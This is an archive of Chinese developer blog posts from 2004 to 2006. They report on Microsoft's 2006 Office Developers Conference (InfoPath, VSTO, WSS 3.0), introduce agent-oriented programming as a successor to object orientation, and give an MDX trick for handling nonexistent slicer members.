n         自动生成后台的Source Code. 一直不太能搞清楚VSTAVSTO之间的区别, VS.Net中创建一个InfoPath Form Template功能, 设置好数据源什么的, 随后在菜单中有一项VSTA什么的, 具体没有太看清楚, 跳出一个对话框, 一通乱转后, VS.net中出现了和这个表单绑定的C#源代码, 各种event句柄一应俱全, 周到的不行.


n         可以直接在VS.Net中进行debuging. 这项功能在原先的Infopath tool for vs.net中也有, 但是每次debuging之间都需要先关闭infopath设计窗口, 多来几次就会碰到一些异常, 现在的debuging非常方便, 就和debuging一般的winform程序差不多, 而且速度非常快, 也许是因为demo的机器过于强劲的缘故.


l         网页发布. 在前面几个session中也有介绍这个feature, 这里就不多整了. 一个基本的思路 : 如果想要收集基于XML格式的数据, 那就是InfoPath, 它提供了多种数据展现的形式和渠道, 总有一款适合你.


l         Logic Inspector. 并不是所有表单都可以发布为web page形式, 例如包含有master-detail表格的表单, 包含有自定义代码的表单. 这里的Logic Inspector可以用来查看需要发布的表单是否负荷Web page的约束. 如果有不符合的地方, 系统会以红色字体显示出来. 非常贴心的一个功能.


l         提供对多种浏览器和移动设备的支持. 现场演示了在firefox上打开一个infopath form, render出来的效果和ie上保持一致, 同时还展示了在一台智能手机上render出来的情景. 该出来的栏目都出来了, 但说实话, 我是不会在手机上填写表单的, 那个费劲啊.


l         两种表单发布模式. Infopath12提供了两种表单的发布模式. 第一种是我们常规使用的模式, 编写表单模版, 发布到sps上的一个表单库, 或者作为某个listcontent type. 这种方式有一些约束 : 不能包含代码, 必需是域信任, 如果需要连接数据库, 则是通过data connection library. 还有一种是server admin发布模式, 按照我的理解, 因为server admin具有关闭server的能力, 所以也就不在乎多发布一个表单, 所以他可以把表单直接发布server, 并且激活后, 在其下属任何site上都可以使用, 同时还没有上述那些约束. 具体的管理界面是在Application Management -> Configure Office Forms Server 2007这里.


l         winform程序集成. 整个InfoPath Form都可以作为一整个控件集成到Winform程序里面, 并且可以双向进行交互. 感觉如果是做一个远程的表单汇总统计工具, 会比较有用.


l         asp.net集成. winform那边类似, infopath form还可以作为控件拖到asp.net页面上, 通过暴露出来的对象模型, 还可以对form上的数据进行修改和控制.


l         InfoPathworkflow的支持. 这块内容实在是有点多, 一两句整不太明白, 简单的讲, 就是如果一个workflow流程是数据驱动的, 那么就可以将这个作为驱动的数据, 格式化为xml, 并保存在infopath表单中, 又表单来驱动这个流程. 不管是纯的infopath表单, 还是嵌入到word, excel中的表单, 都是这个原理.


l          InfoPath还提供了和IRM(information right management)的集成. 不过在demo的时候出现了点问题, 没有把效果做出来.


l         Data Connections Library. 这估计也微软在组件模块化和通用化方面努力的一种体现. 设想很多表单模版中都需要和数据库或者web servcie进行连接, 而这样的连接是可能频繁发生变化的, 例如数据库服务器迁移到另外一台机器, 或者web service端口号发生修改. 要一个表单一个表单的修改, 麻烦的很. 那么就把这样公用的数据连接提取出来, 单独找个地方保存起来, 这个地方就是Data Connection Library. 随后, 如果数据源发生了变化,只需要修改library中某个data connection就可以了.


l         连接BDC, Excel Service. 除了通用的数据库和web service连接之外, infopath还可以连接BDCExcel Service. 但是个人认为, 没有必要把表单搞的这么复杂, 表单复杂到一定程度后, 就不单单是个数据复杂性的问题了, 内部商业逻辑的复杂度也会上升, 在这种情况下, infopath所体现出来的表单设计灵活性和高效率就变成了次要考虑的因素, 商业逻辑的清晰性, 透明性和可复用性就变成了首要考虑的问题, 这时使用传统的winform程序或asp.net页面来处理也许会来的更加方便一些.


l         有几位同学在听完Session之后感觉意犹未尽, 又提了些问题, 记录下来 :


n         InfoPath vs Asp.net . 既然infopath也可以render为网页了, 那么基于InfoPathsolution和基于asp.net的应用场景各式什么? 如果是做数据采集, 汇总的应用, 使用infopath. 如果是构造复杂的web application, 使用asp.net.


n         是否可以将infopath form整个的绑定到关系数据库中的某个/某几个table ? 可以, infopath 2007提供了这种模式的支持.


n         Why no ribbon and new xml format? 这个问题提的有些尴尬讲师同志回答说, infopath表单是一个cab文件包, 本来就是xml format. 为什么没有ribbon ? 好像整个infopath上也没有多少菜单, 不需要整的这么绚.


n         如果在客户端没有安转CLR, 是否可以在web browser上浏览infopath表单. 不可以, 理由没有太听清楚. 我个人的理解是有部分逻辑代码需要下载到本地来执行, 如果缺少CLR, 肯定是执行不了.


n         如果只有aspx win form server, 是否也可以做出基于web broswerinfopath solution? 不可以. 没有OSS, 这套就玩不转.


 


最后听了一个VSTO 3.0新特性介绍的Session. 曙光同学已经在他的blog中详细介绍了这部分的内容, 俺就不再重复了, 详情可在他的blog上浏览.


 


好容易全整完了, 一看又转了点, 赶紧沐浴焚香(洗澡+抽棵烟, 还是上海的红双喜好抽呀), 期待明天有好些的运气, 因为最后一天要组织抽奖,,, 奖品有Xbox, IPAQ. 先说个吉利话 : 如果明天抽到一个IPAQ, 俺请大家吃饭 J

posted on 2006-03-27 00:45:00 by grapecity  评论(0) 阅读(1342)

 

除了小盖和Kurt先生的Keynote之外, 今天一口气听了三个与WSS 3.0相关的Session, 分别是IT201, WS301WS303, 最后一场WS系列的放弃了, 跑到Hand On Lab去晃了一圈, 发现收获也不小, 25Lab全部做下来, 估计也就能把O12吃了个透彻, 可惜时间不够, 草草做了3Lab就奔出去混饭了. 收工之前试图copy一些HOL的文档, 未遂, 被一黑壮黑壮的哥们告知, 只能看, 不能拿.


闲话少说, 切入正体.


Keynote的内容比较中规中矩, OfficeVision, Roadmap, 面临的挑战, 如何应对等等. 在其中一张slide上与Office组件平级的放了一个Microsoft Dynamics模块, Dynamics是微软在CRM市场的一套产品, 不明白为什么会在Office技术中涉及到它

   此外
, Keynote中的几个Demo很是cool. 在一个Demo, 存在放在后端Excel 服务器上的Excel文件直接作为DashbarodChartRenderWSS 3.0的网站中, 后端修改数据和Chart的显示样式, 前端页面刷新也会同步地显示出来, 刷新过程中来回滚动的绿色进度标识也给予用户很好的体验. 另一个Demo向我们展示了尚在开发中的VSTO 3.0, 基于此项技术, 我们可以在VS.net 2005中直接以可视化的方式设计InfoPath Template, Task Pane, Outlook Add-in, 以及Office12中的Ribbon. 在这方面, 微软的思路是让.Net的开发人员可以以他们熟悉的模式开发Office应用, 降低他们的学习曲线. 在这个Demo, 我们看到InfoPath中的UI控件出现在VS.Net 2005的控件面板中, 可以自由拖动到View; 无需编程, 通过类似WinForm上的简单拖动, 就可以构造一个Task Pane并且可以和文档中的XML数据进行交互. 这也体现了微软在开发领域一直坚持的观点: 所有开发都交给Visual Studio. Office开发, 也不要例外

   Keynote
之后, 小盖还回答了听众提出的一些饶有趣味的问题, 第一个问题说的是Office12是否会提供对其他平台的支持替小盖汗一把先. “Office是构建在Windows系统上的一套组件, 所以目前我们并没有向其他平台迁移的计划”. 似乎为了安抚人心, 小盖接着说到, 基于OpenXML格式, 其他平台上的Developer也可以开发出各种Office应用程序. 呵呵, 在这等着您呢. 另有一位兄台问E-Form如何使用的问题, Kurt答复说有两个地方, 一个是常规的电子表单应用场景, 此外, 凡是需要存储格式化信息并以适当方式呈现出来的都会使用到E-Form, 例如在Word, Excel中填写文档属性, 其实就是嵌入的InfoPath表单, Outlook, 更是直接将InfoPath Form作为其中的一种Item, 直接可以在邮件中查阅和提交. 其他几个Demo也是Cool的不行, BDC(Business Data Catalog)集成的, 有高级搜索技术展示的, 记不太住, 此处省略几十字了.


 


几位精神领袖的keynote整完之后差不多也就到了中午, 接下来是编号为IT301的一个关于如何基于Office2007进行内部文档和记录管理的Session. 一位胖哥(开发人员的技术水准与其体重有紧密的函数依赖关系?)介绍到:


l         为什么要基于Office Server 2007来做内部文档和记录管理


n         可以提供存储功能


n         自动审计


n         版本支持, 2007中提供了主版本和副版本的支持, 只有主版本的文档才会被publish出来.


n         全文检索


n         文档管理系统到记录管理系统的无封集成


l         2007中还提供动态的文档流服务, 当然是基于WWF.


l         Search的功能得到了增强.


 


胡乱整点中饭. 继续后面的Session. 接着是编号为WS301WS303的课程, 分别介绍了WSS/OSS 3.0基础模型和Web Part, Master Page等东东:


l         3.0中站点的组织模式发生了一些变化, 从高到低依次为SPFarm, SPWebApplication, SPSite, SPWeb.


l         List, 增加了两级垃圾箱, 一级在List本身, 一级在Site.


l         增加了若干中新的预置Field Type: Append-Only, Multi-Valued, User Account. 同时还支持Custom Field Type.


l         Check Out / Check in方面, 新版本中支持强制签出, 在多用户的场景下, 这是个很有用的feature. 此外, Office 12中的word, excel等文档都可带有自定义的property, 如果自定义属性没有填写, 则系统不会让文档Check in.


l         版本增强. 例如一份文档, 3.1, 3.24.0三个版本. 那么在历史记录中, 3.1可以被其作者看到, 如果3.2check ou, 则只有当前check out的同学能够看到, 4.0因为是正式公布的主版本, 所以所有人都可以看到.


l         Schema Management. 我感觉到的思路是希望尽量减少站点配置,迁移,维护工作的复杂度, 提高站点模块化程度和复用性. 这里包含两层内容:


n         Column Template, 这个在上面已有介绍


n         Content Type. 这个Content Type, 我们可以把他理解为与某类文档相关的一系列Defination的集合. 例如采购单这种文档类型, 对应的有文档模版, 文档属性, 指定的Fields, 需要触发的事件, 绑定的处理流程等. 这所有的内容, 都归纳为一种Content Type. 需要指出的是Content Type可以有继承关系.


n         Event Handler. 3.0中对事件模型进行了扩展. 支持同步和异步事件, 支持在Web级和Item级的事件. 同时事件的种类也增加了, 例如在List上增加或删除一个Field也会触发相应的事件.


n         Query. 3.0中增加了新的名为SPSiteDataQuery的类, 用来进行跨站点查询. 同时还支持指定索引列进行查询.


n         其他方面的一些功能增强: 支持Site级的Alert, 支持RSS订阅


n         Master Page. Master PageAsp.net 2.0提供的特性, 由于WSS 3.0直接 Asp.Net 2.0, 所以也可以使用Master Page功能. 每一个SPSite/SPWeb(到底是那个, 现在不太记的清楚了...)都暴露出一个MasterPage link的属性, 只要修改这个属性, 就可以改变SPSite/SPWebMaster Page风格. 关于MasterPage的定制其实还有很多内容, 讲师同学重点去讲Master Page的内部构造去了, 实在繁复的很, 略过了.


n         Web Parts. WSS中的Web Parts之外, 3.0中还直接支持Asp.net 2.0中的web parts以及混合类型的web parts. 所谓混合类型, 实际上就是继承自WSSWebPart, 但序列化的时候, 使用Asp.Net 2.0web parts序列化机制.


n         Feature. 2.0中要对Sitemenu, action什么的进行自定义, 是件蛮麻烦的事情. 3.0中的Feature可以简化这方面的工作量. 我们知道站点模版和WebParts都可以用来对站点进行自定义, 一个粒度大, 一个粒度小(原引熊总的话 J), Feature的粒度位于二者之间. 例如, 我们需要在每个Item的下拉菜单中增加一个action, 就可以用到Feature.


n         移动手持设备的支持. 3.0中可以直接将站点内容render到移动手持设备上. 由于坐的比较靠后, 看不太清楚屏幕上render出来的效果, 这里也不好多做评论了.整得跟RSS订阅似的, 感觉有点简陋.


 


一天下来内容多多, 全凭记忆整理, 时差也还没倒过来, 写到这里基本上脑子已经缺氧了. 有不全不足不爽的地方, 还请见谅. 明天关注的重点是InfoPathVSTO, 收工.

posted on 2006-03-27 00:43:00 by grapecity  评论(0) 阅读(1167)

 
 ODC(Office System Developers Conference)是微软为Office开发人员举办的一次全球性技术大会. 每年举办一届, 今年刚刚是第二届, 俺们还算赶了个早集, hoho. 

   有必要解释一下为什么微软要整出这个Conference. 早些时候好像也没有Office Developer这一说法的, Office一般都是作为大的Solution里面的某个component整合进来. 但是随着Office由办公平台向开发平台的战略转型, Office组件在整个Solution中占的比重逐渐增大, 甚至出现了全部由Office组件构成的Solution. 随之也就出现了专门靠构建Office Solution混饭的Developer, 比如说俺, just joking? Anyway, 微软看到这个趋势, 就整出了这么一个ODC, 每年把这些同学专门召集起来, 整些Key Notes, Vision, New features in Office什么的, 让大家信心满满, 信誓旦旦, 干劲冲天, 有点扯蛋+远了... 总之一句话, Office is a big toy, 不光是end user有得用, 俺们这些developer也有的好玩. 

   今年ODC的时间是3月21-24号. 我们提前一天到, 还要参加20号召开的一个名为:VSTO V3 SDR的会议. 看名字就知道是发布一些有关VSTO V3的信息. 但由于这个会议签署了NDA, 信息不可以公开发布, 所以我们在后续内容中会重点介绍ODC会议的情况.

   根据网上的议程安排, 小盖同学和负责IW部分的一位VP Kurt DelBene会在ODC开始的时候致Key Notes. Live Meeting会同步转播这场Key Notes:
http://go.microsoft.com/fwlink/?LinkId=63190. 下面是Key Notes的相关信息.

   The 2007 Microsoft Office system is a breakthrough solution platform that includes clients, servers, services, and tools. Built on XML and a set of new extensibility technologies, it gives you the solution building blocks you need to meet today's business demands more quickly than building from scratch.

   Hear Microsoft Chairman of the Board and Chief Software Architect Bill Gates and Corporate Vice President, Office Server Group of Microsoft Office System, Kurt DelBene outline the 2007 Office system vision.

   接下来三天, 我们会陆续向大家介绍ODC会议发布的最新信息. 敬请留意, 欢迎拍砖?

posted on 2006-03-27 00:41:00 by grapecity  评论(0) 阅读(1058)

 
2005年06月27日

进入Agent世界 什么是Agent

       在前面的讨论中,说道了一下Object让俺们感觉不是很爽的地方。总结下来:OO并不是对现实世界最贴切的模拟。那么什么东东可以比OO更加贴近地来模拟现实世界呢?就目前看来,还是Agent可以担当起Object接班人的这个角色。

 

这里多插一段话。俺们可以注意到,不论是Object还是Agent,他们都有比较深的理论渊源,同时以指导实际软件开发为其价值导向。目前在软件开发过程中,俺们大量地使用着Object的概念,所以前面讨论凡是涉及到Object的,俺们都尽量使用开发人员熟悉的语境来描述,比如同步方法,异步方法,.Net平台中特有的delegate等等。而目前围绕Agent的工作大部分还停留在理论研究或者实验室原型的阶段,所以在下面关于Agent的讨论中,理论学术(白话:纸上谈兵)的味道会略为浓一些。俺会尽量结合同志们熟悉的生活中的例子来解释这些理论上的东东。

 

俺们遇到的第一个问题是Agent的定义是什么?这其实是一个蛮无聊的问题,能够在纸上默写出Agent的定义并不代表这位同志已经深刻地理解了Agent的含义。但这里还是罗列一下前辈们给出的若干关于Agent的定义。从五花八门的定义中俺们也可以体会一下Agent这个概念所包含的内涵的丰富性。

 

1.        The MuBot Agent "The term agent is used to represent two orthogonal concepts. The first is the agent's ability for autonomous execution. The second is the agent's ability to perform domain oriented reasoning."
这个定义强调了Agent的自动执行能力和推理能力。

 

2.        The AIMA Agent "An agent is anything that can be viewed as perceiving its environment through sensors and acting upon that environment through effectors."
不知道给出这个定义的前辈是不是搞生物学的,怎么看Agent都像是由细胞核和一堆毛须组装成的原始生命体。

 

3.        The Maes Agent "Autonomous agents are computational systems that inhabit some complex dynamic environment, sense and act autonomously in this environment, and by doing so realize a set of goals or tasks for which they are designed."
这个定义比较复杂一点,他强调了Agent与外界环境的关系,也就是说Agent的存在是为了某个目的/目标而感知并且改变环境。在后面会介绍到,这是区分Agent和普通程序的一个重要依据。

 

4.        The IBM Agent "Intelligent agents are software entities that carry out some set of operations on behalf of a user or another program with some degree of independence or autonomy, and in so doing, employ some knowledge or representation of the user's goals or desires."
IBM
给出的定义就少了一些学究味,多了些实用至上的气息。认为能够自动完成某种指定任务的软件体,都可以当做Agent

 

5.        The FAQ Agent [http://www.ee.mcgill.ca:80/~belmarc/agent_faq.html] "This FAQ will not attempt to provide an authoritative definition ..."
老外搞笑起来,也是一流。

 

6.        The Favorite Agent “An autonomous agent is a system situated within and a part of an environment that senses that environment and acts on it, over time, in pursuit of its own agenda and so as to effect what it senses in the future.”
个人比较欣赏这个定义,纯理论的东西没功夫去搞,纯实践的东西没兴趣去搞,而这个定义试图在理论和实践之间找到一个平衡。

。。。

 

沿着探究Agent本源这个话题继续聊下去,眼前会出现好几条不同的脉络/线索。比较有意思的是那些搞人工智能的同志们,他们热衷于使用Agent的概念来拟合人的行为和思想,他们更愿意从生物/生命的角度来描绘软件世界中的Agent。所以他们使用了很多心理学上的术语/符号来刻画Agent,比如信仰(Belief),Intention(意图),义务(Obligation)等。这些同志的精神和境界是值得俺们尊敬和向往的,但作为大规模商业软件开发流水线上一枚微不足道的齿轮,俺更关心的是将Object替换为Agent后,代码量会节约多少行,项目工期会缩短多少天,这类和薪水/年终奖挂钩的实际问题。基于此考虑,俺决定选择一种相对比较practical的方式继续向同志们介绍Agent的概念。

 

Michael在他的论文Intelligent AgentsTheory and Practice中给出了一个Agent的弱定义(这还只是个弱的!强的就免了)。他说满足下面四个条件的东东,就可以称为是Agent

l         autonomy: agents operate without the direct intervention of humans or others, and have some kind of control over their actions and internal state;
自治性,也就是下面俺们将要谈到的独立心智。

l         social ability: agents interact with other agents (and possibly humans) via some kind of agent-communication language;
社会性,这点俺并不认为是Agent的本质特性,一个独立存在的Agent难道就不是Agent了吗。一位生活在孤岛上的同志难道就不是Human了吗。之所以拎出这点来,俺估计Michael的考虑是:单个的Agent的存在是无意义的,只有处于群体中的Agent才能体现它的价值。

l         reactivity: agents perceive their environment, (which may be the physical world, a user via a graphical user interface, a collection of other agents, the INTERNET, or perhaps all of these combined), and respond in a timely fashion to changes that occur in it;
反应性,能够接受外界的输入信号,并且做出相应的反应。

l         pro-activeness: agents do not simply act in response to their environment, they are able to exhibit goal-directed behaviour by taking the initiative.
主动性,或称目标驱动,这是Agent很重要的一个特点。依据当前的环境和自身的心智,Agent 可以主动地执行某种操作或者任务。举例来说,大家都熟悉的Web Service,不论Web Service能够提供多少服务,计算能力多么强,它都不是一个Agent,因为它是被动地,而非主动地提供服务。

 

上面罗列了一堆Agent的定义。俺们除了敬仰前辈大师之外,还可以尝试着归纳一下Agent的本质。定义可以传递给俺们的信息是:什么是Agent;而本质可以传递给俺们的信息是:什么不是Agent。从这两个角度来把握一个概念,基本也就八九不离十了。

 

Agent的本质是什么?个人观点:拥有可以与外界交互的独立心智

 

解释一下这句话的含义。这句话包含了两个层面的内容。

 

一)独立心智。心智是什么?心智就是逻辑,由百万个判断语句组成的复杂逻辑是心智,一个if语句,甚至一个顺序执行语句,本质上来说也是心智。说到这里有同志会觉得不对劲了,如果心智就是逻辑的话,那么MIS系统中的发票类也是具有心智的啦,发票类里面也包含有逻辑代码嘛,而且还蛮复杂的呢。对的,发票类是具有逻辑,或者称为心智,但是他不具有独立的心智,什么意思呢?发票类中的逻辑是否执行,何时执行,不是由发票类自己决定或者控制的,这点很重要。比如,发票类有个逻辑(Method)可以将自己序列化为一段XML,当外界调用发票的这个Method的时候,发票是不可以说,“俺正烦着呢,待会再给你序列化”,发票的序列化操作会被立即执行,而且是无条件的。所以说发票类并没有独立心智,因此发票类是不可以视为Agent的。

 

二)与外界交互。交互这个词用得涩了点,其实白话就是输入输出,能够捕获/感知到外界环境的变化(输入),并且做出相应的反应(输出),就OK了。从这个角度来理解,如果一个东东,它慧根再怎么发达,再怎么我行我素,但自我封闭起来,不接收外界的任何信号,也不对外输出任何信号,那它也不可以称为是Agent。这里有同志也许会说:“同学,这个定义条件未免太弱智了点吧,你倒是找一个完全封闭的软件出来俺我看看啊”。俺还真能给你找一个出来。注意到的是“交互的”,这个相应的意思是根据外界的条件,输出是可以变化的。写一个简单到只包含一行语句的程序:Console.WriteLine(“Hello Agent”);。不管外界是刮风下雨,不管机器是386还是X86,不管内存是256M还是2G,只要这个程序执行,它的输出就是”Hello Agent’。这个程序的确是有输出,但不是根据输入而得到的“相应的”输出。所以这个只包含一行代码的程序并不是Agent,它只是一个Program

 

关于Agent的本源,其实是仁者见仁,智者见智的一个概念。俺在这里白话一番,基本上是起个抛砖引玉的功效,并不是讲这就是绝对正确的。针对不同的背景,环境或者应用场合,俺们可以将Agent的本质理解为不同的东西。最重要的是,理解深刻了,领悟透彻了,一定要能解决实际问题,一定要在实际开发中派上用场,否则就不是白话,而是白谈。

 

提供几个有意思的Topic供同志们消遣。

l         计算机病毒是Agent吗。

l         在以往设计的软件系统中,有没有见到过Agent的影子。

l         什么样的软件系统,Agent最能派上用场。

posted on 2005-06-27 09:25:00 by grapecity  评论(54) 阅读(8413)

 
2005年06月20日

Agent之前-Object世界

 

在说起Agent之前,俺们还有必要先敬拜一下Agent的前辈Object,因为Agent实际上是由Object“进化”而来的。这话说出来,可能有些读者同志不太高兴了,Object有什么不好吗?现在这么多复杂的系统,不都是基于OO的思想设计出来的吗?

 

然也,OO的确为提高软件开发效率做出了很大的贡献,但是在使用过程中,OO也暴露出了一些处:

 

痒处一:OO并没有对现实世界中的实体加以区分

OO世界中,所有的软件实体都是Object,现实世界中的一张发票和一为员工,映射到OO世界中都是一个ClassClass发票具有一些数据(日期,金额)和操作(效验,保存),Class员工也具有一些数据(姓名,职位)和操作(上班,下班),从映射的角度来看,任何现实世界的实体都是数据和操作的集合。但实际上,在现实世界中,发票和员工还是有区别的。区别在哪里呢?在于发票是一个物体, 而员工是一个有心智的实体。发票类的方法只能是被动地被调用,如果我们不调用,任何一张发票都不会自动的进行效验或者保存。而员工的方法调用与否,是由员工自己来决定的。今天生病了, 不高兴上班,上班操作就不会被执行,今天任务重,他就会自动执行加班这个操作。换句话说员工类的操作不是被动调用的,而是自发完成的。

这种只能被动调用和自发执行的区别,归结一下其原因,是因为员工具有自己的心智,而发票是没有的。传统的OO并没有引入这个区分,而这种区分的却失所造成的结果就是所有的操作都是被动地等待调用。虽然我们也可以引入计时器,或者多线程技术来模拟主动操作,但这种并不完全贴合现实世界的设计思路是不是让各位隐约感觉有些不爽呢。

 

痒处二:同步和异步被人为地剥离。

上面讲的是OO对有些东东没有区分,这点说的是OO对某些东东又多余地加以了区分。比如,现实世界中,老师对同学们说:“请把书翻到78页。”老师并不需要知道翻书这个操作对于同学们来说是同步操作还是异步操作,他并没有说“请把书同步地/异步地翻到78页。”换句话说,翻书这个操作是同步还是异步,对于调用者(老师)来说,是不需要知道的,同学们知道就OK了。但是影射到OO世界中,对于调用者来说,他在调用的时候,就必须知道是同步调用还是异步调用。归纳起来说,在现实世界中,调用方式这种知识,是被调用方拥有的,而调用方是不需要考虑的,但在OO世界中,这个知识由被调用方转移到了调用方。Something is different。体会一下,这种差异会带来什么样的问题。

 

痒处三:无法自然地模拟现实世界中的感知能力(Sensebility

举个烧菜的例子来说明感知能力。老妈教俺烧菜的时候,常用的语法是:“当什么什么的时候,就怎么怎么样”。比如:当水烧开的时候,把肉放进去;当鸡块炸至金黄色的时候,捞出锅来。这就是感知能力的例子。鸡块作为感知源,它的属性可以发生变化;俺作为感知器,可以捕捉到鸡块的颜色这个属性的变化。如果鸡块的颜色由肉色转变至金黄色,俺就必须做出相应的操作/处理:把鸡块捞出锅来。

 

这种感知能力在现实世界中是非常普遍地存在的,然而映射到OO世界中来,却显的有些别扭。如果我们将鸡块和人构造为两个Class,要想人能感知到鸡块上某个属性值的变化,首先想到的是使用观察者(Observer)模式,在.Net平台下呢,则是在鸡块类中构造一个delegate,然后将人的某个操作挂到这个delegate上,当鸡块颜色值发生变化的时候,触发这个delegate。这种方式至少存在三个让人感觉别扭的地方:

 

l         鸡块就是鸡块,为什么鸡块这个Class里面要包含一个额外的delegate呢,这个delegate的存在对于实现鸡块这个class本身的逻辑来说没有任何意义,对于鸡块的逻辑而言,这个delegate是完全多余的,这还只是颜色属性上的delegate,不难想像,如果外界还有其他Class需要感知鸡块类其他属性上的变化,会有更多的delegate,更多的与鸡块本身逻辑不相干的代码出现。

 

l         注意到一个比较细节的问题。俺在看到鸡块颜色变为金黄色后,执行的操作是把鸡块捞出锅。这个“捞出锅”的操作,是由俺的心智来完成的,不是受鸡块的心智指挥,它自己蹦出锅来的。而在上面提到的使用delegate的解决方案中,我们把“捞出锅”这个操作挂载到delegate上,则“捞出锅”是由鸡块当前占用的线程来执行的,如果将线程理解为心智的话,则意味着是由鸡块的心智控制着人将自己捞出锅。是不是很诡异J  更直白地说法是:应该有一个线程来处理鸡块颜色的变化,另外再有一个线程来收到颜色变化的通知,并执行“捞出锅”的操作。这里有同志应该说了:也好办,把delegate的机制修改为多线程的就OK了!的确是这样,但需要注意的是要保持多线程机制对鸡块和人的透明性,如果因为需要贴近现实世界而增加Class的复杂性,那也违背了我们的初衷。

 

l         最后一个问题比较有意思。在现有的delegate解决方案中,我们只能针对实例(Instance)进行注册,而不可以针对类型(Type)进行注册。什么概念呢?比如锅里面有十个鸡块,俺得把“捞出锅”这个操作到这十个鸡块上依次注册一遍,才能保证每个鸡块在适当的时机被捞出来。是不是觉得和现实世界中的实际情况有些出入J 如果能够提供针对类型的注册机制,只要将俺的后续操作到鸡块类上注册一次,在感知范围内的所有鸡块,管他是十块还是二十块,都能被俺感知到颜色上的变化并执行正确的后续操作,这样会来的更简洁,更自然。

 

上面罗罗嗦嗦给OO挑了些毛病。实际上归纳起来就一句话:OO并不是对现实世界最贴切地模拟。而软件世界的终极目标是为了模拟现实世界,既然OO并不是最贴切的模拟,问题也就暴露出来了,改进的余地也就显现出来了。

     怎么改进?轮到Object的接班人Agent出场了。

posted on 2005-06-20 09:54:00 by grapecity  评论(54) 阅读(13278)

 

Adrian同志有一篇关于Aspect Oriented ProgrammingBlog The Ted Neward Challenge (AOP without the buzzwords),俺非常的喜欢。这篇文章中文翻译过来可以是“无废话AOP”,它从一个脱离了具体实现手段的视角,用简单清晰的语言向我们表达了Aspect Oriented Programming的本意:尽量将需求和实现的关系由1:N逼近至1:1。俺也非常希望能整出这么一个“无废话Agent Oriented Programming”,可是基于下面两点考虑,俺还是决定放弃:一个是Agent Oriented Programming不光是个有意思的技术话题,还与学术界,理论界有很深的渊源。要“无废话”,且饶有趣味地阐述这样一个理论问题,是相当有难度地,还是时不时有必要来点废话,才不至于让同志们看得睡着过去。另一方面,记得上学的时候,老师传授的读书体验是先把书读厚,再把书读薄。书读薄了,吃透了,归纳出来,写出来的都是精华,当然也就无废话;而俺现在还处于把书读厚的第一阶段,所以写出来废话会比较多一点。基于这样的考虑,这个系列的文章可以被称为是“白话Agent Oriented Programming”。

 

 

如果俺有足够的耐性把文章全整出来and您有足够的耐性看完所有文章,您会对以下的内容有一个大概的了解:

 

l         什么是AgentAgent Oriented Programming
Agent
这个概念并不是空穴来风,在理论界对它的研究已经很深入,AgentObject的进化版本,进化的目的是为了让软件系统更贴近现实世界。从程序设计的角度理解,可以认为Agent就是绑定了ThreadObject

l         为什么要整这么个概念出来,这个东东和其他一堆泛滥的概念的关系是什么
可以说搞软件的人,特别是搞平台软件的人,本质上都比较,整天琢磨着怎么更懒,如果有个东东可以让100行的代码压缩到10行,将设计,调试,维护的时间由1天压缩为1个小时,他们就会将这种方法拎出来,凑成一个概念。OOPAOPSOA什么的基本上可以说都是这么整出来的(戏言戏说)。

l         怎么样在.Net 平台上实现Agent Oriented Programming
Agent Oriented Programming
是一种思想,与平台无关。但既然是准备贴在以微软技术为主题的博客堂上,为了以示尊重,还是选择在.Net平台上实现的比较好。

l         俺们设计的一个Agent SDK,及其一些蛮有趣的特性
实际上这个Agent SDK是俺们设计一个工作流引擎的副产品。在给大家做演示的时候,这个SDK倒是比上层的工作流引擎更能引起大家的兴趣(除了胸闷还是胸闷)SDK部分地实现了Agent的一些特性,例如AgentMethodTimerMethodSensebility等。

l         未来之路
这里的未来之路包含两个意思。一层意思是,围绕着Agent Oriented Programming,还有很多高级的特性等待我们去实现,例如移动Agent,合作Agent等。另一方面,对于任何思想,技术而言,光掌握其原理,明白是怎么回事,是不够的,还是得运用到项目中,创造效益,老板才会高兴,才会去下力气去推广。所以俺们也要考虑如何将这么好的东东应用到实际的项目开发中去。

posted on 2005-06-20 09:52:00 by grapecity  评论(19) 阅读(13770)

 
2004年10月27日

上个MDX项目移交一个多月之后,有同事跑过来和俺切磋关于MDX的问题。听完同事的介绍后,俺当时产生了两个感想。一个是感慨自己居然能以这么快的速度将上个项目积累的关于MDX的知识忘的一干二净;二个是当时做MDX解析的工作时抱怨说其语法过于烦琐,现在面对实际项目中客户的种种奇怪需求,真恨不得MDX的语法再复杂个十倍。

言归正传。考虑这样一个场景,有一个大Cube存储着网站的访问历史数据,其中有一个维就是网站中各个网页的URL。用户这个貌似很合理的要求是这样地。用户指定一个URL,将这个URL做为Slicer进行切片,然后察看和该网页相关的多维数据。反映到MDX语句中呢,就是在MDX屁股后面再添上一个”Where ([URL].[User Defined URL])”,其中” User Defined URL”是用户要输入的页面地址。Ok,需求很明确,也很合理,指定页面察看嘛,用个Where就打发了。别高兴太早,问题在后面。用户输入正确的网页地址,ok,运转正常;用户输入一个错误网页地址,一个异常从UI上跳出来,说找不到这个Member。输入错误了当然找不到,问题是在ASP系统中俺们使用OWC来和后台service交互, 这错误没法捕获。换句话说,要么您就保证提交给serverMDX语句完全正确,要么就给用户蹦出一个谁也不明白的异常。如果您有把握说服用户喜欢上这个异常,您就不必往下看这篇文章,否则俺们就一起来看看如何避免不存在的Slicer提交给server

首先要作的工作是判断用户输入的这个Slicer(也可以理解为member,因为目前用户只是要求基于单个维度来切片,不保证用户看了我这篇文章后胃口大开要求同时输入多维进行切片)是否是一个存在的MemberFilter函数配合InStr函数可以搞定这个。

Filter( [Time].Members,InStr([URL].currentmember.name, "ProductView.asp"))

上面这段MDX干的活就是,遍历URL维中的所有member,如果这个member的名字包含“ProductView.asp”(这个就是用户输入的页面地址),ok,扔到一个新set里,最后把这个set做为输出。如果用户输入的页面地址不存在,也就是没有任何member的名字能够和这个页面地址匹配,这个新set就为空。俺们要做的事情,就是避免这个set为空。

那么怎么避免Filter函数得到的set为空呢?耍点小花招。看看下面的代码:

TopCount( Union(Filter( [URL].Members,InStr([URL].currentmember.name, " ProductView.asp ")), {[URL].DefaultMember}), 1)

必须承认这是一个讨巧的招,不过好使就行,是不是名门正派的套路,就管不了这么多了。首先让Filter函数得到的set{[URL].DefaultMember}做一个Union操作,这样如果Filter函数的结果set为空,则会返回set会至少包含一个{[URL].DefaultMember},保证了返回set肯定不为空。然后再在外面套一个TopCount函数,将排列在第一个member提取出来,这样,如果Filter函数不为空,整个结果就是Filter函数的输出,如果Filter结果为空集,则返回的是一个包含 [URL].DefaultMember的集合。需要说明的是DefaultMember是事先预定义的一个计算成员,其各个measure的值永远都是-1。至于为啥要定-1think

